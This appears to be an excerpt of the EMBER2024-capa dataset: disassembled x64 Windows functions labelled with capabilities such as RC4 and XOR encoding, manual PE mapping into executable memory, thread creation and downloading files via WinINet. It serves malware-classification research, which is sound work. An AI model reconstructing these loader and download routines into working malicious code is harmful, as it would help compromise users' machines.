joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140057a54
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x140083168]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, r8
mov rdi, rdx
mov ecx, dword [0x14008a0c0]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x140089fa0], ecx
jg 0x140057b36
mov eax, ebx
cmp rbx, rax
jne 0x140057af8
xor ecx, ecx
test rbx, rbx
setne cl
xor eax, eax
test ebx, ebx
setne al
cmp ecx, eax
jne 0x140057af8
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x140089f98]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x140057b79
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14005f800
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov ecx, 0x5b6
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.GenerateBlock_size
lea rcx, [rsp + 0x20]
call fcn.1400044a0
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140057784
lea rdx, [0x14007fa78]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [0x140089fa0]
call fcn.14005ffac
cmp dword [0x140089fa0], 0xffffffff
jne 0x140057aa0
lea rcx, [0x140089f98]
call fcn.140057698
lea rcx, [0x140064048]
call fcn.14005fe0c
nop
lea rcx, [0x140089fa0]
call fcn.14005ff4c
jmp 0x140057aa0
mov ecx, eax
call fcn.140057bbc
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, [0x14006b138]
lea rcx, [rsp + 0x20]
call fcn.1400044a0
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140057784
lea rdx, [0x14007fa78]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x140058fc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
cmp r8, 8
jb 0x140059033
mov rbp, r8
shr rbp, 3
imul rax, rbp, 0xfffffffffffffff8
add rdi, rax
mov r8d, 8
lea rcx, [rsp + 0x58]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 8
lea rcx, [rsp + 0x50]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x50]
add rsi, 8
xor rax, qword [rsp + 0x58]
add rbx, 8
or r14, rax
sub rbp, 1
jne 0x140058ff2
mov rcx, r14
shr rcx, 0x20
or ecx, r14d
mov edx, ecx
mov eax, ecx
shr edx, 8
or edx, ecx
shr eax, 0x10
and edx, 0xff00
or edx, eax
movzx eax, cl
shr edx, 8
or edx, eax
test rdi, rdi
je 0x140059075
sub rsi, rbx
movzx ecx, byte [rsi + rbx]
movzx eax, byte [rbx]
inc rbx
xor ecx, eax
or edx, ecx
sub rdi, 1
jne 0x140059061
mov rbx, qword [rsp + 0x40]
test edx, edx
mov rbp, qword [rsp + 0x48]
sete al
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140059090
Capabilities:
Encode data using xor

Disassembly:
test r9, r9
je 0x140059156
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rbx, r9
mov r15d, 4
mov rdi, r8
mov rsi, rdx
mov r14, rcx
cmp rbx, r15
jb 0x140059121
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r15
lea rcx, [rsp + 0x20]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, r15
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x68]
lea rdx, [rsp + 0x24]
xor eax, dword [rsp + 0x20]
mov r8, r15
mov rcx, r14
mov dword [rsp + 0x24], eax
call sub.VCRUNTIME140.dll_memcpy
add r14, r15
add rsi, r15
add rdi, r15
sub rbp, 1
jne 0x1400590d6
test rbx, rbx
je 0x14005913e
sub rsi, rdi
sub r14, rdi
mov al, byte [rsi + rdi]
xor al, byte [rdi]
mov byte [r14 + rdi], al
inc rdi
sub rbx, 1
jne 0x14005912c
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x140059158
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x140059205
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rbx, r8
mov r14d, 4
mov rsi, rdx
mov rdi, rcx
cmp rbx, r14
jb 0x1400591dd
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r14
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, r14
lea rcx, [rsp + 0x60]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x60]
lea rdx, [rsp + 0x20]
xor eax, dword [rsp + 0x68]
mov r8, r14
mov rcx, rdi
mov dword [rsp + 0x20], eax
call sub.VCRUNTIME140.dll_memcpy
add rdi, r14
add rsi, r14
sub rbp, 1
jne 0x140059195
test rbx, rbx
je 0x1400591f3
sub rsi, rdi
mov al, byte [rsi + rdi]
xor byte [rdi], al
inc rdi
sub rbx, 1
jne 0x1400591e5
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x14005f14c
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movdqu xmm1, xmmword [rcx]
mov r9d, 4
shl edx, 2
mov r8, rcx
movdqu xmm0, xmmword [rcx + rdx*4]
movdqu xmmword [rcx], xmm0
movdqu xmmword [rcx + rdx*4], xmm1
add edx, 0xfffffffc
cmp edx, r9d
jbe 0x14005f19b
aesimc xmm0, xmmword [r8 + rdx*4]
mov ecx, r9d
add r9d, 4
aesimc xmm1, xmmword [r8 + rcx*4]
movdqu xmmword [r8 + rcx*4], xmm0
movdqu xmmword [r8 + rdx*4], xmm1
add edx, 0xfffffffc
cmp r9d, edx
jb 0x14005f172
mov eax, r9d
aesimc xmm0, xmmword [r8 + rax*4]
movdqu xmmword [r8 + rax*4], xmm0
ret

Function at 0x140060850
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006089a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006089a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006089a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006089a
cmp dword [rcx + 0x84], 0xe
jbe 0x14006089a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006089c
xor al, al
add rsp, 0x28
ret
Function at 0x1800038f4
Capabilities:
Delete file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
xor ebx, ebx
call fcn.180003858
mov rsi, rax
test rax, rax
je 0x1800039a2
test rdi, rdi
je 0x1800039a2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x180003996
mov r8d, dword [rdi + 8]
mov rdx, qword [rdi]
lea r9, [rsp + 0x58]
mov rcx, rax
mov dword [rsp + 0x58], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x18000398d
mov eax, dword [rsp + 0x58]
cmp rax, qword [rdi + 8]
jne 0x18000398d
mov bl, 1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.1800043a8
mov al, bl
jmp 0x1800039a4
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret

Function at 0x1800039bc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x130
mov rbp, qword [rcx]
mov esi, dword [rcx + 8]
mov rdi, rdx
test rbp, rbp
je 0x180003ad2
test esi, esi
je 0x180003ad2
test rdx, rdx
je 0x180003a0c
mov edx, esi
mov rcx, rbp
call fcn.180004614
mov qword [rdi + 8], rsi
mov qword [rdi], rax
test rax, rax
je 0x180003ad2
xor ecx, ecx
lea rax, [0x1800033e0]
mov al, byte [rcx + rax]
inc rcx
mov byte [rsp + rcx + 0x1f], al
cmp rcx, 0x102
jb 0x180003a0e
lea r8, [rsp + 0x20]
mov edx, esi
mov rcx, rbp
call fcn.180004978
or r8d, 0xffffffff
cmp byte [0x180007434], 0
lea r11, [0x180007030]
jne 0x180003a83
xor ecx, ecx
mov rdx, r11
mov eax, ecx
mov r9d, 8
test al, 1
je 0x180003a65
shr eax, 1
xor eax, 0xedb88320
jmp 0x180003a67
shr eax, 1
add r9d, r8d
jne 0x180003a58
inc ecx
mov dword [rdx], eax
add rdx, 4
cmp ecx, 0x100
jb 0x180003a50
mov byte [0x180007434], 1
lea eax, [rsi - 4]
test eax, eax
je 0x180003aaf
mov r9, rbp
mov r10d, eax
movzx ecx, byte [r9]
mov eax, r8d
inc r9
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r8d, dword [r11 + rdx*4]
xor r8d, eax
dec r10
jne 0x180003a90
not r8d
mov rax, rsi
cmp r8d, dword [rsi + rbp - 4]
je 0x180003aed
test rdi, rdi
je 0x180003ad2
mov rcx, qword [rdi]
call fcn.1800043a8
and qword [rdi], 0
and qword [rdi + 8], 0
xor al, al
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov al, 1
jmp 0x180003ad4
Function at 0x180003af4
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rbx, rcx
xor dil, dil
call fcn.180003858
mov rsi, rax
test rax, rax
je 0x180003bdb
and qword [rsp + 0x30], 0
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x180003bd1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, 8
mov ecx, eax
mov r12d, eax
call fcn.1800042b4
mov r14, rax
test rax, rax
je 0x180003bc8
test r12d, r12d
je 0x180003bc8
and dword [rbp + 0x6f], 0
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x6f]
mov r8d, r12d
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
jne 0x180003bbd
cmp dword [rbp + 0x6f], r12d
jne 0x180003bbd
mov dil, al
mov qword [rbx], r14
mov qword [rbx + 8], r12
jmp 0x180003bc8
mov rcx, r14
xor dil, dil
call fcn.1800043a8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.1800043a8
jmp 0x180003bde
xor dil, dil
cmp dil, 1
jne 0x180003c0d
xor edx, edx
mov rcx, rbx
call fcn.1800039bc
cmp al, dil
je 0x180003c9b
mov rcx, qword [rbx]
test rcx, rcx
je 0x180003c04
call fcn.1800043a8
and qword [rbx], 0
and qword [rbx + 8], 0
mov eax, 0x58
dec rax
mov byte [rbp + rax - 0x29], 0
jne 0x180003c12
and dword [rbp + 0x13], 0
mov word [rbp - 0x29], 0x501
mov dword [rbp - 0x25], 0x1388
mov dword [rbp + 0x23], 0xa00000
call fcn.180005d48
lea rcx, [rbp - 0x29]
mov qword [rbp - 0x19], rax
lea rax, [0x1800034f0]
mov rdx, rbx
mov qword [rbp - 0x11], rax
call fcn.1800059ac
test al, al
jne 0x180003c5c
xor al, al
jmp 0x180003c9d
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1800039bc
test al, al
jne 0x180003c84
mov rcx, qword [rbx]
test rcx, rcx
je 0x180003c79
call fcn.1800043a8
and qword [rbx], 0
and qword [rbx + 8], 0
jmp 0x180003c58
lea rcx, [rbp - 0x39]
call fcn.1800038f4
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180003c9b
call fcn.1800043a8
mov al, 1
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret

Function at 0x180003fcc
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x18000400c
cmp qword [0x180007e70], 0
jne 0x18000400c
call fcn.180005f50
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x180003d28]
xor r9d, r9d
mov edx, 0x2800
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x180007e70], rax
mov eax, 1
add rsp, 0x38
ret
Function at 0x180004978
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r10b, byte [r8 + 0x100]
mov r11b, byte [r8 + 0x101]
mov r9, r8
mov rbx, rcx
test edx, edx
je 0x1800049d3
mov edi, edx
inc r10b
movzx r8d, r10b
movzx edx, byte [r8 + r9]
add r11b, dl
movzx ecx, r11b
mov al, byte [rcx + r9]
mov byte [r8 + r9], al
mov byte [rcx + r9], dl
movzx ecx, byte [r8 + r9]
add ecx, edx
movzx eax, cl
mov cl, byte [rax + r9]
xor byte [rbx], cl
inc rbx
dec rdi
jne 0x18000499c
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
mov byte [r9 + 0x100], r10b
mov byte [r9 + 0x101], r11b
ret
Function at 0x1800049ec
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor r12d, r12d
mov rdi, rcx
mov r8d, r12d
test rcx, rcx
je 0x180004bdb
test edx, edx
je 0x180004bdb
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180004bdb
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp dword [rbx], 0x4550
jne 0x180004bdb
mov eax, 0x14c
cmp word [rbx + 4], ax
jne 0x180004b11
movzx eax, word [rbx + 0x14]
lea r9d, [r12 + 0x40]
mov r8d, 0x1000
lea rbp, [rax + rbx + 0x18]
movzx eax, word [rbx + 6]
lea rcx, [rax + rax*4]
mov eax, dword [rbp + rcx*8 - 0x1c]
add eax, dword [rbp + rcx*8 - 0x20]
cmp eax, dword [rbx + 0x50]
cmovb eax, dword [rbx + 0x50]
xor ecx, ecx
mov edx, eax
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x180004bd6
test rsi, rsi
je 0x180004aa0
dec rsi
mov byte [rsi + rax], r12b
jne 0x180004a97
mov edx, dword [rbx + 0x54]
mov rcx, r12
test rdx, rdx
je 0x180004aba
mov al, byte [rcx + rdi]
mov byte [rcx + r8], al
inc rcx
cmp rcx, rdx
jb 0x180004aab
mov r9d, r12d
cmp r12w, word [rbx + 6]
jae 0x180004bd6
lea rdx, [rbp + 8]
mov eax, dword [rdx]
mov r10d, dword [rdx + 0xc]
mov r11d, dword [rdx + 4]
cmp dword [rdx + 8], eax
mov rcx, r12
cmovb eax, dword [rdx + 8]
add r10, rdi
add r11, r8
mov esi, eax
test eax, eax
je 0x180004afc
mov al, byte [rcx + r10]
mov byte [rcx + r11], al
inc rcx
cmp rcx, rsi
jb 0x180004aec
movzx eax, word [rbx + 6]
inc r9d
add rdx, 0x28
cmp r9d, eax
jb 0x180004acc
jmp 0x180004bd6
mov eax, 0x8664
cmp word [rbx + 4], ax
jne 0x180004bd6
movzx eax, word [rbx + 0x14]
mov r9d, 4
mov r8d, 0x1000
lea rbp, [rax + rbx + 0x18]
movzx eax, word [rbx + 6]
lea rcx, [rax + rax*4]
mov eax, dword [rbp + rcx*8 - 0x1c]
add eax, dword [rbp + rcx*8 - 0x20]
cmp eax, dword [rbx + 0x50]
cmovb eax, dword [rbx + 0x50]
xor ecx, ecx
mov edx, eax
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x180004bd6
test rsi, rsi
je 0x180004b6e
dec rsi
mov byte [rsi + rax], r12b
jne 0x180004b65
mov edx, dword [rbx + 0x54]
mov rcx, r12
test rdx, rdx
je 0x180004b88
mov al, byte [rcx + rdi]
mov byte [rcx + r8], al
inc rcx
cmp rcx, rdx
jb 0x180004b79
mov r9d, r12d
cmp r12w, word [rbx + 6]
jae 0x180004bd6
lea rdx, [rbp + 8]
mov eax, dword [rdx]
mov r10d, dword [rdx + 0xc]
mov r11d, dword [rdx + 4]
cmp dword [rdx + 8], eax
mov rcx, r12
cmovb eax, dword [rdx + 8]
add r10, rdi
add r11, r8
mov esi, eax
test eax, eax
je 0x180004bc6
mov al, byte [rcx + r10]
mov byte [rcx + r11], al
inc rcx
cmp rcx, rsi
jb 0x180004bb6
movzx eax, word [rbx + 6]
inc r9d
add rdx, 0x28
cmp r9d, eax
jb 0x180004b96
mov rax, r8
jmp 0x180004bdd
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x180004d98
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor edi, edi
mov rbx, rcx
test rcx, rcx
je 0x180004ed2
mov rcx, qword [rcx + 0x18]
test rcx, rcx
je 0x180004ed2
mov edx, dword [rbx + 0x20]
test dl, 1
jne 0x180004ed2
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180004ed2
cmp dword [rcx + 0x3c], 0x400
jg 0x180004ed2
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x180004ed2
mov r8d, 0x14c
cmp word [rax + 4], r8w
jne 0x180004e63
mov r8d, 0x10b
cmp word [rax + 0x18], r8w
jne 0x180004e63
bts edx, 8
mov qword [rbx], rcx
mov qword [rbx + 8], rax
mov dword [rbx + 0x20], edx
movzx ecx, word [rax + 0x14]
cmp di, word [rax + 6]
jae 0x180004ec0
lea rsi, [rcx + rax + 0x24]
mov ecx, dword [rsi]
mov edx, dword [rsi - 4]
add rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, 1
je 0x180004ed2
mov rax, qword [rbx + 8]
inc edi
add rsi, 0x28
movzx ecx, word [rax + 6]
cmp edi, ecx
jb 0x180004e37
jmp 0x180004ec0
mov r8d, 0x8664
cmp word [rax + 4], r8w
jne 0x180004ed2
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x180004ed2
bts edx, 8
mov qword [rbx], rcx
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x20], edx
movzx ecx, word [rax + 0x14]
cmp di, word [rax + 6]
jae 0x180004ec0
lea rsi, [rcx + rax + 0x24]
mov ecx, dword [rsi]
mov edx, dword [rsi - 4]
add rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, 1
je 0x180004ed2
mov rax, qword [rbx + 0x10]
inc edi
add rsi, 0x28
movzx ecx, word [rax + 6]
cmp edi, ecx
jb 0x180004e9a
bts dword [rbx + 0x20], 9
mov eax, dword [rbx + 0x20]
or eax, 1
mov dword [rbx + 0x20], eax
mov al, 1
jmp 0x180004ed4
xor al, al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180005230
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x20
xor r13d, r13d
mov rbx, rcx
test rcx, rcx
je 0x1800053c5
test dword [rcx + 0x20], 0x100
je 0x1800053c5
test dword [rcx + 0x20], 0x200
je 0x1800053c5
test byte [rcx + 0x20], 8
jne 0x1800053c5
mov rax, qword [rcx + 8]
test rax, rax
je 0x18000531e
movzx ecx, word [rax + 0x14]
mov r12d, r13d
cmp r13w, word [rax + 6]
jae 0x1800053bd
lea edi, [r13 + 0x40]
lea rbp, [rcx + rax + 0x3c]
lea esi, [rdi - 0x3c]
mov r9d, dword [rbp]
mov edx, r9d
mov r10d, r9d
shr r9d, 0x1f
shr edx, 0x1e
shr r10d, 0x1d
and dl, 1
mov al, dl
neg al
sbb ecx, ecx
and ecx, 0x10
add ecx, 0x10
and r9b, 1
cmovne ecx, edi
neg dl
mov edx, dword [rbp - 0x14]
sbb r8d, r8d
neg r8d
inc r8d
test r9b, r9b
lea r9, [rsp + 0x40]
cmovne r8d, esi
and r10b, 1
cmovne r8d, ecx
mov ecx, dword [rbp - 0x18]
add rcx, qword [rbx + 0x18]
mov dword [rsp + 0x40], r8d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rbx + 8]
inc r12d
movzx ecx, word [rax + 6]
add rbp, 0x28
cmp r12d, ecx
jb 0x1800052a6
jmp 0x1800053bd
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x1800053c5
movzx ecx, word [rax + 0x14]
mov r12d, r13d
cmp r13w, word [rax + 6]
jae 0x1800053bd
mov edi, 0x40
lea rbp, [rcx + rax + 0x3c]
lea esi, [rdi - 0x3c]
mov r9d, dword [rbp]
mov edx, r9d
mov r10d, r9d
shr r9d, 0x1f
shr edx, 0x1e
shr r10d, 0x1d
and dl, 1
mov al, dl
neg al
sbb ecx, ecx
and ecx, 0x10
add ecx, 0x10
and r9b, 1
cmovne ecx, edi
neg dl
mov edx, dword [rbp - 0x14]
sbb r8d, r8d
neg r8d
inc r8d
test r9b, r9b
lea r9, [rsp + 0x40]
cmovne r8d, esi
and r10b, 1
cmovne r8d, ecx
mov ecx, dword [rbp - 0x18]
add rcx, qword [rbx + 0x18]
mov dword [rsp + 0x40], r8d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbx + 0x10]
inc r12d
movzx edx, word [rcx + 6]
add rbp, 0x28
cmp r12d, edx
jb 0x18000534a
or dword [rbx + 0x20], 8
mov al, 1
jmp 0x1800053c7
xor al, al
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1800057a4
Capabilities:
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r12, r9
mov ebp, r8d
mov rsi, rdx
mov r13, rcx
mov eax, 0x3200000
test r8d, r8d
je 0x1800057cf
cmp r8d, eax
jbe 0x1800057d1
mov ebp, eax
xor edi, edi
xor ebx, ebx
mov qword [rsp + 0x68], rbx
test r12, r12
je 0x1800057f1
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x18000583c
lea edx, [rdi + 0x1000]
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x60], 0x1000
call fcn.180004464
mov rbx, qword [rsp + 0x68]
test al, al
je 0x18000583c
mov r8d, dword [rsp + 0x60]
mov edx, edi
lea r9, [rsp + 0x60]
add rdx, rbx
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000583c
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x180005857
add edi, eax
cmp edi, ebp
jbe 0x1800057da
mov rcx, rbx
call fcn.1800043a8
xor al, al
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
test rsi, rsi
je 0x180005867
mov eax, edi
mov qword [rsi], rbx
mov qword [rsi + 8], rax
jmp 0x18000586f
mov rcx, rbx
call fcn.1800043a8
mov al, 1
jmp 0x180005846

Function at 0x180005874
Capabilities:
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Set file attributes
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
and qword [rax - 0x48], 0
mov r12, rdx
mov r13, r9
xor r9d, r9d
mov r14d, r8d
mov r15, rcx
mov dword [rax - 0x50], 0x80
lea r8d, [r9 + 1]
mov edx, 0x40000000
mov rcx, r12
xor bl, bl
mov dword [rax - 0x58], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x18000598a
mov edx, 8
mov ecx, 0x1000
call fcn.1800042b4
mov rsi, rax
test rax, rax
je 0x180005966
xor edi, edi
test r13, r13
je 0x180005903
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x18000595e
lea r9, [rsp + 0x40]
mov r8d, 0x1000
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000595e
mov r8d, dword [rsp + 0x40]
mov rcx, rbp
test r8d, r8d
je 0x180005956
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000595e
mov eax, dword [rsp + 0x40]
cmp eax, dword [rsp + 0x44]
jne 0x18000595e
add edi, eax
cmp edi, r14d
ja 0x18000595e
jmp 0x1800058ec
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov bl, 1
mov rcx, rsi
call fcn.1800043a8
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
jne 0x18000598a
mov edx, 0x80
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r11, [rsp + 0x50]
mov al, bl
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180005df4
Capabilities:
Parse url

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rbx, rdx
mov edx, 0x68
mov eax, edx
dec rax
mov byte [rbp + rax - 0x19], 0
jne 0x180005e15
mov dword [rbp - 0x19], edx
lea r9, [rbp - 0x19]
xor r8d, r8d
xor edx, edx
mov dword [rbp + 7], 1
mov dword [rbp + 0x37], 1
mov dword [rbp + 0x47], 1
call qword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x180005e51
xor al, al
jmp 0x180005f39
mov eax, 0x18
dec rax
mov byte [rax + rbx], 0
jne 0x180005e56
mov edx, dword [rbp + 7]
mov rcx, qword [rbp - 1]
call fcn.180004784
mov qword [rbx], rax
test rax, rax
je 0x180005e4a
mov ecx, dword [rbp + 0x37]
test ecx, ecx
je 0x180005e93
mov rax, qword [rbp + 0x2f]
cmp byte [rax], 0x2f
jne 0x180005e93
dec ecx
inc rax
mov dword [rbp + 0x37], ecx
mov qword [rbp + 0x2f], rax
test ecx, ecx
jne 0x180005e7e
mov eax, dword [rbp + 0x47]
mov edx, 8
lea edi, [rax + rcx + 1]
lea ecx, [rdi + 1]
call fcn.1800042b4
mov r11, rax
mov qword [rbx + 8], rax
test rax, rax
jne 0x180005ebd
mov rcx, qword [rbx]
call fcn.1800043a8
jmp 0x180005e4a
mov eax, dword [rbp + 0x37]
mov r8, qword [rbp + 0x2f]
xor ecx, ecx
mov edx, eax
test eax, eax
je 0x180005edf
mov al, byte [rcx + r8]
inc rcx
mov byte [rcx + r11], al
cmp rcx, rdx
jb 0x180005ecc
